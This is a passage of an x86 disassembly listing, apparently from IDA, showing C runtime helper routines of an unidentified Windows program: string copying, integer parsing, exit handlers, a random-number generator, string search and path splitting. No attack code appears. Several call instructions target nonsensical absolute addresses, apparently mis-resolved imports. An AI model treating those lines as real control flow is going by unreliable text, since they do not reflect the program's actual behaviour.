; ---------------------------------------------------------------------------
loc_41B614: ; CODE XREF: sub_41B5F0+1Bj
; sub_41B5F0+37j
mov al, [esi]
inc esi
mov [edi], al
inc edi
dec ecx
jz short loc_41B642
test al, al
jz short loc_41B64A
test esi, 3
jnz short loc_41B614
mov ebx, ecx
shr ecx, 2
jnz short loc_41B681
loc_41B630: ; CODE XREF: sub_41B5F0+8Fj
and ebx, 3
jz short loc_41B642
loc_41B635: ; CODE XREF: sub_41B5F0+22j
; sub_41B5F0+50j
mov al, [esi]
inc esi
mov [edi], al
inc edi
test al, al
jz short loc_41B66E
dec ebx
jnz short loc_41B635
loc_41B642: ; CODE XREF: sub_41B5F0+2Bj
; sub_41B5F0+43j
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_41B64A: ; CODE XREF: sub_41B5F0+2Fj
test edi, 3
jz short loc_41B664
loc_41B652: ; CODE XREF: sub_41B5F0+72j
mov [edi], al
inc edi
dec ecx
jz loc_41B6E6
test edi, 3
jnz short loc_41B652
loc_41B664: ; CODE XREF: sub_41B5F0+60j
mov ebx, ecx
shr ecx, 2
jnz short loc_41B6D7
loc_41B66B: ; CODE XREF: sub_41B5F0+7Fj
; sub_41B5F0+F4j
mov [edi], al
inc edi
loc_41B66E: ; CODE XREF: sub_41B5F0+4Dj
dec ebx
jnz short loc_41B66B
pop ebx
pop esi
loc_41B673: ; CODE XREF: sub_41B5F0+7j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41B679: ; CODE XREF: sub_41B5F0+A9j
; sub_41B5F0+C1j
mov [edi], edx
add edi, 4
dec ecx
jz short loc_41B630
loc_41B681: ; CODE XREF: sub_41B5F0+20j
; sub_41B5F0+3Ej
mov edx, 7EFEFEFFh
mov eax, [esi]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [esi]
add esi, 4
test eax, 81010100h
jz short loc_41B679
test dl, dl
jz short loc_41B6CB
test dh, dh
jz short loc_41B6C1
test edx, 0FF0000h
jz short loc_41B6B7
test edx, 0FF000000h
jnz short loc_41B679
mov [edi], edx
jmp short loc_41B6CF
; ---------------------------------------------------------------------------
loc_41B6B7: ; CODE XREF: sub_41B5F0+B9j
and edx, 0FFFFh
mov [edi], edx
jmp short loc_41B6CF
; ---------------------------------------------------------------------------
loc_41B6C1: ; CODE XREF: sub_41B5F0+B1j
and edx, 0FFh
mov [edi], edx
jmp short loc_41B6CF
; ---------------------------------------------------------------------------
loc_41B6CB: ; CODE XREF: sub_41B5F0+ADj
xor edx, edx
mov [edi], edx
loc_41B6CF: ; CODE XREF: sub_41B5F0+C5j
; sub_41B5F0+CFj ...
add edi, 4
xor eax, eax
dec ecx
jz short loc_41B6E1
loc_41B6D7: ; CODE XREF: sub_41B5F0+79j
xor eax, eax
loc_41B6D9: ; CODE XREF: sub_41B5F0+EFj
mov [edi], eax
add edi, 4
dec ecx
jnz short loc_41B6D9
loc_41B6E1: ; CODE XREF: sub_41B5F0+E5j
and ebx, 3
jnz short loc_41B66B
loc_41B6E6: ; CODE XREF: sub_41B5F0+66j
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
sub_41B5F0 endp
; =============== S U B R O U T I N E =======================================
sub_41B6EE proc near ; CODE XREF: sub_41B779+4p
; sub_4247EC+1A2p ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
mov edi, [esp+10h+arg_0]
loc_41B6F6: ; CODE XREF: sub_41B6EE+34j
cmp dword_43CBB4, 1
jle short loc_41B70E
movzx eax, byte ptr [edi]
push 8
push eax
call sub_41F515
pop ecx
pop ecx
jmp short loc_41B71D
; ---------------------------------------------------------------------------
loc_41B70E: ; CODE XREF: sub_41B6EE+Fj
movzx eax, byte ptr [edi]
mov ecx, off_43C9A8
mov al, [ecx+eax*2]
and eax, 8
loc_41B71D: ; CODE XREF: sub_41B6EE+1Ej
test eax, eax
jz short loc_41B724
inc edi
jmp short loc_41B6F6
; ---------------------------------------------------------------------------
loc_41B724: ; CODE XREF: sub_41B6EE+31j
movzx esi, byte ptr [edi]
inc edi
cmp esi, 2Dh
mov ebp, esi
jz short loc_41B734
cmp esi, 2Bh
jnz short loc_41B738
loc_41B734: ; CODE XREF: sub_41B6EE+3Fj
movzx esi, byte ptr [edi]
inc edi
loc_41B738: ; CODE XREF: sub_41B6EE+44j
xor ebx, ebx
loc_41B73A: ; CODE XREF: sub_41B6EE+7Bj
cmp dword_43CBB4, 1
jle short loc_41B74F
push 4
push esi
call sub_41F515
pop ecx
pop ecx
jmp short loc_41B75A
; ---------------------------------------------------------------------------
loc_41B74F: ; CODE XREF: sub_41B6EE+53j
mov eax, off_43C9A8
mov al, [eax+esi*2]
and eax, 4
loc_41B75A: ; CODE XREF: sub_41B6EE+5Fj
test eax, eax
jz short loc_41B76B
lea eax, [ebx+ebx*4]
lea ebx, [esi+eax*2-30h]
movzx esi, byte ptr [edi]
inc edi
jmp short loc_41B73A
; ---------------------------------------------------------------------------
loc_41B76B: ; CODE XREF: sub_41B6EE+6Ej
cmp ebp, 2Dh
mov eax, ebx
jnz short loc_41B774
neg eax
loc_41B774: ; CODE XREF: sub_41B6EE+82j
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41B6EE endp
; =============== S U B R O U T I N E =======================================
sub_41B779 proc near ; CODE XREF: ___:00401527p
; sub_401ACD+733p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_41B6EE
pop ecx
retn
sub_41B779 endp
; ---------------------------------------------------------------------------
mov eax, off_43A94C
test eax, eax
jz short loc_41B78F
call eax ; sub_41C748
loc_41B78F: ; CODE XREF: ___:0041B78Bj
push offset dword_42902C
push offset dword_429018
call sub_41B86C
push offset dword_429014
push offset dword_429000
call sub_41B86C
add esp, 10h
retn
; ---------------------------------------------------------------------------
push 0
push 0
push dword ptr [esp+0Ch]
call sub_41B7D3
add esp, 0Ch
retn
; =============== S U B R O U T I N E =======================================
sub_41B7C2 proc near ; CODE XREF: sub_41DA29+1Cp
; sub_42255C+2276p ...
arg_0 = dword ptr 4
push 0
push 1
push [esp+8+arg_0]
call sub_41B7D3
add esp, 0Ch
retn
sub_41B7C2 endp
; =============== S U B R O U T I N E =======================================
sub_41B7D3 proc near ; CODE XREF: ___:0041B7B9p
; sub_41B7C2+8p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push edi
push 1
pop edi
cmp dword_4DB970, edi
jnz short loc_41B7F0
push [esp+4+arg_0]
nop
call near ptr 28C056Ch
push eax
nop
call near ptr 28B09AAh
loc_41B7F0: ; CODE XREF: sub_41B7D3+Aj
cmp [esp+4+arg_4], 0
push ebx
mov ebx, [esp+8+arg_8]
mov dword_4DB96C, edi
mov byte_4DB968, bl
jnz short loc_41B844
mov eax, dword_4DCFDC
test eax, eax
jz short loc_41B833
mov ecx, dword_4DCFD8
push esi
lea esi, [ecx-4]
cmp esi, eax
jb short loc_41B832
loc_41B81F: ; CODE XREF: sub_41B7D3+5Dj
mov eax, [esi]
test eax, eax
jz short loc_41B827
call eax
loc_41B827: ; CODE XREF: sub_41B7D3+50j
sub esi, 4
cmp esi, dword_4DCFDC
jnb short loc_41B81F
loc_41B832: ; CODE XREF: sub_41B7D3+4Aj
pop esi
loc_41B833: ; CODE XREF: sub_41B7D3+3Cj
push offset dword_429038
push offset dword_429030
call sub_41B86C
pop ecx
pop ecx
loc_41B844: ; CODE XREF: sub_41B7D3+33j
push offset dword_429044
push offset dword_42903C
call sub_41B86C
pop ecx
pop ecx
test ebx, ebx
pop ebx
jnz short loc_41B86A
push [esp+4+arg_0]
mov dword_4DB970, edi
nop
call near ptr 77E75CB5h
loc_41B86A: ; CODE XREF: sub_41B7D3+85j
pop edi
retn
sub_41B7D3 endp
; =============== S U B R O U T I N E =======================================
sub_41B86C proc near ; CODE XREF: ___:0041B799p
; ___:0041B7A8p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
loc_41B871: ; CODE XREF: sub_41B86C+16j
cmp esi, [esp+4+arg_4]
jnb short loc_41B884
mov eax, [esi]
test eax, eax
jz short loc_41B87F
call eax
loc_41B87F: ; CODE XREF: sub_41B86C+Fj
add esi, 4
jmp short loc_41B871
; ---------------------------------------------------------------------------
loc_41B884: ; CODE XREF: sub_41B86C+9j
pop esi
retn
sub_41B86C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B886 proc near ; CODE XREF: ___:004013B0p
; ___:004014B6p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
mov [ebp+var_18], eax
mov [ebp+var_20], eax
lea eax, [ebp+arg_8]
mov [ebp+var_14], 42h
push eax
lea eax, [ebp+var_20]
push [ebp+arg_4]
mov [ebp+var_1C], 7FFFFFFFh
push eax
call sub_41F69F
add esp, 0Ch
dec [ebp+var_1C]
mov esi, eax
js short loc_41B8C6
mov eax, [ebp+var_20]
and byte ptr [eax], 0
jmp short loc_41B8D3
; ---------------------------------------------------------------------------
loc_41B8C6: ; CODE XREF: sub_41B886+36j
lea eax, [ebp+var_20]
push eax
push 0
call sub_41F58A
pop ecx
pop ecx
loc_41B8D3: ; CODE XREF: sub_41B886+3Ej
mov eax, esi
pop esi
leave
retn
sub_41B886 endp
; =============== S U B R O U T I N E =======================================
sub_41B8D8 proc near ; CODE XREF: ___:00401266p
; sub_401ACD+31A2p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov dword_43A930, eax
retn
sub_41B8D8 endp
; =============== S U B R O U T I N E =======================================
sub_41B8E2 proc near ; CODE XREF: ___:loc_401379p
; ___:loc_4016A7p ...
mov eax, dword_43A930
imul eax, 343FDh
add eax, 269EC3h
mov dword_43A930, eax
sar eax, 10h
and eax, 7FFFh
retn
sub_41B8E2 endp
; =============== S U B R O U T I N E =======================================
sub_41B900 proc near ; CODE XREF: ___:0040134Ep
; sub_401ACD+8Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
push edi
push ebx
push esi
mov dl, [ecx]
mov edi, [esp+0Ch+arg_0]
test dl, dl
jz short loc_41B97A
mov dh, [ecx+1]
test dh, dh
jz short loc_41B967
loc_41B918: ; CODE XREF: sub_41B900+52j
; sub_41B900+65j
mov esi, edi
mov ecx, [esp+0Ch+arg_4]
mov al, [edi]
inc esi
cmp al, dl
jz short loc_41B93A
test al, al
jz short loc_41B934
loc_41B929: ; CODE XREF: sub_41B900+32j
mov al, [esi]
inc esi
loc_41B92C: ; CODE XREF: sub_41B900+3Fj
cmp al, dl
jz short loc_41B93A
test al, al
jnz short loc_41B929
loc_41B934: ; CODE XREF: sub_41B900+27j
pop esi
pop ebx
pop edi
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41B93A: ; CODE XREF: sub_41B900+23j
; sub_41B900+2Ej
mov al, [esi]
inc esi
cmp al, dh
jnz short loc_41B92C
lea edi, [esi-1]
loc_41B944: ; CODE XREF: sub_41B900+63j
mov ah, [ecx+2]
test ah, ah
jz short loc_41B973
mov al, [esi]
add esi, 2
cmp al, ah
jnz short loc_41B918
mov al, [ecx+3]
test al, al
jz short loc_41B973
mov ah, [esi-1]
add ecx, 2
cmp al, ah
jz short loc_41B944
jmp short loc_41B918
; ---------------------------------------------------------------------------
loc_41B967: ; CODE XREF: sub_41B900+16j
xor eax, eax
pop esi
pop ebx
pop edi
mov al, dl
jmp loc_41BFB6
; ---------------------------------------------------------------------------
loc_41B973: ; CODE XREF: sub_41B900+49j
; sub_41B900+59j
lea eax, [edi-1]
pop esi
pop ebx
pop edi
retn
; ---------------------------------------------------------------------------
loc_41B97A: ; CODE XREF: sub_41B900+Fj
mov eax, edi
pop esi
pop ebx
pop edi
retn
sub_41B900 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B980 proc near ; CODE XREF: ___:0040133Bp
; sub_401ACD+1C72p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = byte ptr 14h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
mov [ebp+var_18], eax
mov [ebp+var_20], eax
mov eax, [ebp+arg_4]
mov [ebp+var_14], 42h
mov [ebp+var_1C], eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_20]
push [ebp+arg_8]
push eax
call sub_41F69F
add esp, 0Ch
dec [ebp+var_1C]
mov esi, eax
js short loc_41B9BF
mov eax, [ebp+var_20]
and byte ptr [eax], 0
jmp short loc_41B9CC
; ---------------------------------------------------------------------------
loc_41B9BF: ; CODE XREF: sub_41B980+35j
lea eax, [ebp+var_20]
push eax
push 0
call sub_41F58A
pop ecx
pop ecx
loc_41B9CC: ; CODE XREF: sub_41B980+3Dj
mov eax, esi
pop esi
leave
retn
sub_41B980 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B9D1 proc near ; CODE XREF: ___:00401318p
; sub_401ACD+21D1p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
push ebx
call sub_41AFE0
cmp eax, 1
pop ecx
jb short loc_41BA0C
cmp byte ptr [ebx+1], 3Ah
jnz short loc_41BA0C
mov esi, [ebp+arg_4]
test esi, esi
jz short loc_41BA08
push 2
push ebx
push esi
call sub_420289
add esp, 0Ch
and byte ptr [esi+2], 0
loc_41BA08: ; CODE XREF: sub_41B9D1+25j
inc ebx
inc ebx
jmp short loc_41BA16
; ---------------------------------------------------------------------------
loc_41BA0C: ; CODE XREF: sub_41B9D1+18j
; sub_41B9D1+1Ej
mov eax, [ebp+arg_4]
test eax, eax
jz short loc_41BA16
and byte ptr [eax], 0
loc_41BA16: ; CODE XREF: sub_41B9D1+39j
; sub_41B9D1+40j
and [ebp+arg_4], 0
cmp byte ptr [ebx], 0
mov eax, ebx
mov esi, 0FFh
mov [ebp+arg_0], eax
jz short loc_41BA8E
loc_41BA29: ; CODE XREF: sub_41B9D1+87j
mov cl, [eax]
movzx edx, cl
test byte_4DCEA1[edx], 4
jz short loc_41BA3A
inc eax
jmp short loc_41BA54
; ---------------------------------------------------------------------------
loc_41BA3A: ; CODE XREF: sub_41B9D1+64j
cmp cl, 2Fh
jz short loc_41BA4E
cmp cl, 5Ch
jz short loc_41BA4E
cmp cl, 2Eh
jnz short loc_41BA54
mov [ebp+var_4], eax
jmp short loc_41BA54
; ---------------------------------------------------------------------------
loc_41BA4E: ; CODE XREF: sub_41B9D1+6Cj
; sub_41B9D1+71j
lea ecx, [eax+1]
mov [ebp+arg_4], ecx
loc_41BA54: ; CODE XREF: sub_41B9D1+67j
; sub_41B9D1+76j ...
inc eax
cmp byte ptr [eax], 0
jnz short loc_41BA29
mov edi, [ebp+arg_4]
mov [ebp+arg_0], eax
test edi, edi
jz short loc_41BA8E
cmp [ebp+arg_8], 0
jz short loc_41BA89
sub edi, ebx
cmp edi, esi
jb short loc_41BA72
mov edi, esi
loc_41BA72: ; CODE XREF: sub_41B9D1+9Dj
push edi
push ebx
push [ebp+arg_8]
call sub_420289
mov eax, [ebp+arg_8]
add esp, 0Ch
and byte ptr [edi+eax], 0
mov eax, [ebp+arg_0]
loc_41BA89: ; CODE XREF: sub_41B9D1+97j
mov ebx, [ebp+arg_4]
jmp short loc_41BA98
; ---------------------------------------------------------------------------
loc_41BA8E: ; CODE XREF: sub_41B9D1+56j
; sub_41B9D1+91j
mov ecx, [ebp+arg_8]
test ecx, ecx
jz short loc_41BA98
and byte ptr [ecx], 0
loc_41BA98: ; CODE XREF: sub_41B9D1+BBj
; sub_41B9D1+C2j
mov edi, [ebp+var_4]
test edi, edi
jz short loc_41BAEB
cmp edi, ebx
jb short loc_41BAEB
cmp [ebp+arg_C], 0
jz short loc_41BAC8
sub edi, ebx
cmp edi, esi
jb short loc_41BAB1
mov edi, esi
loc_41BAB1: ; CODE XREF: sub_41B9D1+DCj
push edi
push ebx
push [ebp+arg_C]
call sub_420289
mov eax, [ebp+arg_C]
add esp, 0Ch
and byte ptr [edi+eax], 0
mov eax, [ebp+arg_0]
loc_41BAC8: ; CODE XREF: sub_41B9D1+D6j
mov edi, [ebp+arg_10]
test edi, edi
jz short loc_41BB13
sub eax, [ebp+var_4]
cmp eax, esi
jnb short loc_41BAD8
mov esi, eax
loc_41BAD8: ; CODE XREF: sub_41B9D1+103j
push esi
push [ebp+var_4]
push edi
call sub_420289
add esp, 0Ch
and byte ptr [esi+edi], 0
jmp short loc_41BB13
; ---------------------------------------------------------------------------
loc_41BAEB: ; CODE XREF: sub_41B9D1+CCj
; sub_41B9D1+D0j
mov edi, [ebp+arg_C]
test edi, edi
jz short loc_41BB09
sub eax, ebx
cmp eax, esi
jnb short loc_41BAFA
mov esi, eax
loc_41BAFA: ; CODE XREF: sub_41B9D1+125j
push esi
push ebx
push edi
call sub_420289
add esp, 0Ch
and byte ptr [esi+edi], 0
loc_41BB09: ; CODE XREF: sub_41B9D1+11Fj
mov eax, [ebp+arg_10]
test eax, eax
jz short loc_41BB13
and byte ptr [eax], 0
loc_41BB13: ; CODE XREF: sub_41B9D1+FCj
; sub_41B9D1+118j ...
pop edi
pop esi
pop ebx
leave
retn
sub_41B9D1 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41BB20 proc near ; CODE XREF: sub_401955+8p
; sub_401ACD+8p ...
arg_0 = byte ptr 4
push ecx
cmp eax, 1000h
lea ecx, [esp+4+arg_0]
jb short loc_41BB40
loc_41BB2C: ; CODE XREF: sub_41BB20+1Ej
sub ecx, 1000h
sub eax, 1000h
test [ecx], eax
cmp eax, 1000h
jnb short loc_41BB2C
loc_41BB40: ; CODE XREF: sub_41BB20+Aj
sub ecx, eax
mov eax, esp
test [ecx], eax
mov esp, ecx
mov ecx, [eax]
mov eax, [eax+4]
push eax
retn
sub_41BB20 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BB4F proc near ; CODE XREF: sub_401ACD+757Ep
; sub_401ACD+75ADp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+arg_4], 0
push ebx
mov ebx, [ebp+arg_0]
push edi
mov edi, ebx
jg short loc_41BB63
xor eax, eax
jmp short loc_41BB99
; ---------------------------------------------------------------------------
loc_41BB63: ; CODE XREF: sub_41BB4F+Ej
dec [ebp+arg_4]
push esi
jz short loc_41BB93
mov esi, [ebp+arg_8]
loc_41BB6C: ; CODE XREF: sub_41BB4F+42j
dec dword ptr [esi+4]
js short loc_41BB7B
mov ecx, [esi]
movzx eax, byte ptr [ecx]
inc ecx
mov [esi], ecx
jmp short loc_41BB82
; ---------------------------------------------------------------------------
loc_41BB7B: ; CODE XREF: sub_41BB4F+20j
push esi
call sub_41F043
pop ecx
loc_41BB82: ; CODE XREF: sub_41BB4F+2Aj
cmp eax, 0FFFFFFFFh
jz short loc_41BB9D
mov [edi], al
inc edi
cmp al, 0Ah
jz short loc_41BB93
dec [ebp+arg_4]
jnz short loc_41BB6C
loc_41BB93: ; CODE XREF: sub_41BB4F+18j
; sub_41BB4F+3Dj ...
and byte ptr [edi], 0
loc_41BB96: ; CODE XREF: sub_41BB4F+55j
mov eax, ebx
pop esi
loc_41BB99: ; CODE XREF: sub_41BB4F+12j
pop edi
pop ebx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41BB9D: ; CODE XREF: sub_41BB4F+36j
cmp edi, [ebp+arg_0]
jnz short loc_41BB93
xor ebx, ebx
jmp short loc_41BB96
sub_41BB4F endp
; =============== S U B R O U T I N E =======================================
sub_41BBA6 proc near ; CODE XREF: ___:0041DDA5p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push 0
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_41BBBD
add esp, 10h
retn
sub_41BBA6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BBBD proc near ; CODE XREF: sub_41BBA6+Ep
; sub_41BDC5+Ep
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
and [ebp+var_8], 0
push esi
push edi
mov edi, [ebp+arg_0]
mov bl, [edi]
lea esi, [edi+1]
mov [ebp+var_4], esi
loc_41BBD5: ; CODE XREF: sub_41BBBD+46j
cmp dword_43CBB4, 1
jle short loc_41BBED
movzx eax, bl
push 8
push eax
call sub_41F515
pop ecx
pop ecx
jmp short loc_41BBFC
; ---------------------------------------------------------------------------
loc_41BBED: ; CODE XREF: sub_41BBBD+1Fj
mov ecx, off_43C9A8
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 8
loc_41BBFC: ; CODE XREF: sub_41BBBD+2Ej
test eax, eax
jz short loc_41BC05
mov bl, [esi]
inc esi
jmp short loc_41BBD5
; ---------------------------------------------------------------------------
loc_41BC05: ; CODE XREF: sub_41BBBD+41j
cmp bl, 2Dh
mov [ebp+var_4], esi
jnz short loc_41BC13
or [ebp+arg_C], 2
jmp short loc_41BC18
; ---------------------------------------------------------------------------
loc_41BC13: ; CODE XREF: sub_41BBBD+4Ej
cmp bl, 2Bh
jnz short loc_41BC1E
loc_41BC18: ; CODE XREF: sub_41BBBD+54j
mov bl, [esi]
inc esi
mov [ebp+var_4], esi
loc_41BC1E: ; CODE XREF: sub_41BBBD+59j
mov eax, [ebp+arg_8]
test eax, eax
jl loc_41BDB5
cmp eax, 1
jz loc_41BDB5
cmp eax, 24h
jg loc_41BDB5
push 10h
test eax, eax
pop ecx
jnz short loc_41BC66
cmp bl, 30h
jz short loc_41BC50
mov [ebp+arg_8], 0Ah
jmp short loc_41BC82
; ---------------------------------------------------------------------------
loc_41BC50: ; CODE XREF: sub_41BBBD+88j
mov al, [esi]
cmp al, 78h
jz short loc_41BC63
cmp al, 58h
jz short loc_41BC63
mov [ebp+arg_8], 8
jmp short loc_41BC82
; ---------------------------------------------------------------------------
loc_41BC63: ; CODE XREF: sub_41BBBD+97j
; sub_41BBBD+9Bj
mov [ebp+arg_8], ecx
loc_41BC66: ; CODE XREF: sub_41BBBD+83j
cmp [ebp+arg_8], ecx
jnz short loc_41BC82
cmp bl, 30h
jnz short loc_41BC82
mov al, [esi]
cmp al, 78h
jz short loc_41BC7A
cmp al, 58h
jnz short loc_41BC82
loc_41BC7A: ; CODE XREF: sub_41BBBD+B7j
mov bl, [esi+1]
inc esi
inc esi
mov [ebp+var_4], esi
loc_41BC82: ; CODE XREF: sub_41BBBD+91j
; sub_41BBBD+A4j ...
or eax, 0FFFFFFFFh
xor edx, edx
div [ebp+arg_8]
mov edi, 103h
mov [ebp+var_C], eax
loc_41BC92: ; CODE XREF: sub_41BBBD+16Cj
cmp dword_43CBB4, 1
movzx esi, bl
jle short loc_41BCAA
push 4
push esi
call sub_41F515
pop ecx
pop ecx
jmp short loc_41BCB5
; ---------------------------------------------------------------------------
loc_41BCAA: ; CODE XREF: sub_41BBBD+DFj
mov eax, off_43C9A8
mov al, [eax+esi*2]
and eax, 4
loc_41BCB5: ; CODE XREF: sub_41BBBD+EBj
test eax, eax
jz short loc_41BCC1
movsx ecx, bl
sub ecx, 30h
jmp short loc_41BCF3
; ---------------------------------------------------------------------------
loc_41BCC1: ; CODE XREF: sub_41BBBD+FAj
cmp dword_43CBB4, 1
jle short loc_41BCD5
push edi
push esi
call sub_41F515
pop ecx
pop ecx
jmp short loc_41BCE0
; ---------------------------------------------------------------------------
loc_41BCD5: ; CODE XREF: sub_41BBBD+10Bj
mov eax, off_43C9A8
mov ax, [eax+esi*2]
and eax, edi
loc_41BCE0: ; CODE XREF: sub_41BBBD+116j
test eax, eax
jz short loc_41BD2E
movsx eax, bl
push eax
call sub_420313
pop ecx
mov ecx, eax
sub ecx, 37h
loc_41BCF3: ; CODE XREF: sub_41BBBD+102j
cmp ecx, [ebp+arg_8]
jnb short loc_41BD2E
mov esi, [ebp+var_8]
or [ebp+arg_C], 8
cmp esi, [ebp+var_C]
jb short loc_41BD18
jnz short loc_41BD12
or eax, 0FFFFFFFFh
xor edx, edx
div [ebp+arg_8]
cmp ecx, edx
jbe short loc_41BD18
loc_41BD12: ; CODE XREF: sub_41BBBD+147j
or [ebp+arg_C], 4
jmp short loc_41BD21
; ---------------------------------------------------------------------------
loc_41BD18: ; CODE XREF: sub_41BBBD+145j
; sub_41BBBD+153j
imul esi, [ebp+arg_8]
add esi, ecx
mov [ebp+var_8], esi
loc_41BD21: ; CODE XREF: sub_41BBBD+159j
mov eax, [ebp+var_4]
inc [ebp+var_4]
mov bl, [eax]
jmp loc_41BC92
; ---------------------------------------------------------------------------
loc_41BD2E: ; CODE XREF: sub_41BBBD+125j
; sub_41BBBD+139j
mov ecx, [ebp+arg_C]
dec [ebp+var_4]
mov edx, [ebp+arg_4]
test cl, 8
jnz short loc_41BD4C
test edx, edx
jz short loc_41BD46
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
loc_41BD46: ; CODE XREF: sub_41BBBD+181j
and [ebp+var_8], 0
jmp short loc_41BD99
; ---------------------------------------------------------------------------
loc_41BD4C: ; CODE XREF: sub_41BBBD+17Dj
test cl, 4
mov eax, 7FFFFFFFh
jnz short loc_41BD72
test cl, 1
jnz short loc_41BD99
and ecx, 2
jz short loc_41BD69
cmp [ebp+var_8], 80000000h
ja short loc_41BD72
loc_41BD69: ; CODE XREF: sub_41BBBD+1A1j
test ecx, ecx
jnz short loc_41BD99
cmp [ebp+var_8], eax
jbe short loc_41BD99
loc_41BD72: ; CODE XREF: sub_41BBBD+197j
; sub_41BBBD+1AAj
test byte ptr [ebp+arg_C], 1
mov dword_4DB928, 22h
jz short loc_41BD88
or [ebp+var_8], 0FFFFFFFFh
jmp short loc_41BD99
; ---------------------------------------------------------------------------
loc_41BD88: ; CODE XREF: sub_41BBBD+1C3j
mov ecx, [ebp+arg_C]
and cl, 2
neg cl
sbb ecx, ecx
neg ecx
add ecx, eax
mov [ebp+var_8], ecx
loc_41BD99: ; CODE XREF: sub_41BBBD+18Dj
; sub_41BBBD+19Cj ...
test edx, edx
jz short loc_41BDA2
mov eax, [ebp+var_4]
mov [edx], eax
loc_41BDA2: ; CODE XREF: sub_41BBBD+1DEj
test byte ptr [ebp+arg_C], 2
jz short loc_41BDB0
mov eax, [ebp+var_8]
neg eax
mov [ebp+var_8], eax
loc_41BDB0: ; CODE XREF: sub_41BBBD+1E9j
mov eax, [ebp+var_8]
jmp short loc_41BDC0
; ---------------------------------------------------------------------------
loc_41BDB5: ; CODE XREF: sub_41BBBD+66j
; sub_41BBBD+6Fj ...
mov eax, [ebp+arg_4]
test eax, eax
jz short loc_41BDBE
mov [eax], edi
loc_41BDBE: ; CODE XREF: sub_41BBBD+1FDj
xor eax, eax
loc_41BDC0: ; CODE XREF: sub_41BBBD+1F6j
pop edi
pop esi
pop ebx
leave
retn
sub_41BBBD endp
; =============== S U B R O U T I N E =======================================
sub_41BDC5 proc near ; CODE XREF: sub_401ACD+61CEp
; sub_401ACD+6A0Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push 1
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_41BBBD
add esp, 10h
retn
sub_41BDC5 endp
; =============== S U B R O U T I N E =======================================
sub_41BDDC proc near ; CODE XREF: sub_401ACD+5980p
arg_0 = dword ptr 4
push [esp+arg_0]
nop
call near ptr 282080Eh
test eax, eax
jnz short loc_41BDF2
call near ptr 2830047h
nop
jmp short loc_41BDF4
; ---------------------------------------------------------------------------
loc_41BDF2: ; CODE XREF: sub_41BDDC+Cj
xor eax, eax
loc_41BDF4: ; CODE XREF: sub_41BDDC+14j
test eax, eax
jz short loc_41BE03
push eax
call sub_4203DF
pop ecx
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_41BE03: ; CODE XREF: sub_41BDDC+1Aj
xor eax, eax
retn
sub_41BDDC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BE06 proc near ; CODE XREF: sub_401ACD+58D2p
; ___:00411CA1p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
push esi
push edi
push [ebp+arg_0]
call sub_420446
mov esi, eax
lea eax, [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41F69F
push [ebp+arg_0]
mov edi, eax
push esi
call sub_4204D3
add esp, 18h
mov eax, edi
pop edi
pop esi
pop ebp
retn
sub_41BE06 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BE40 proc near ; CODE XREF: sub_401ACD+1E81p
; sub_401ACD+1EA0p ...
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
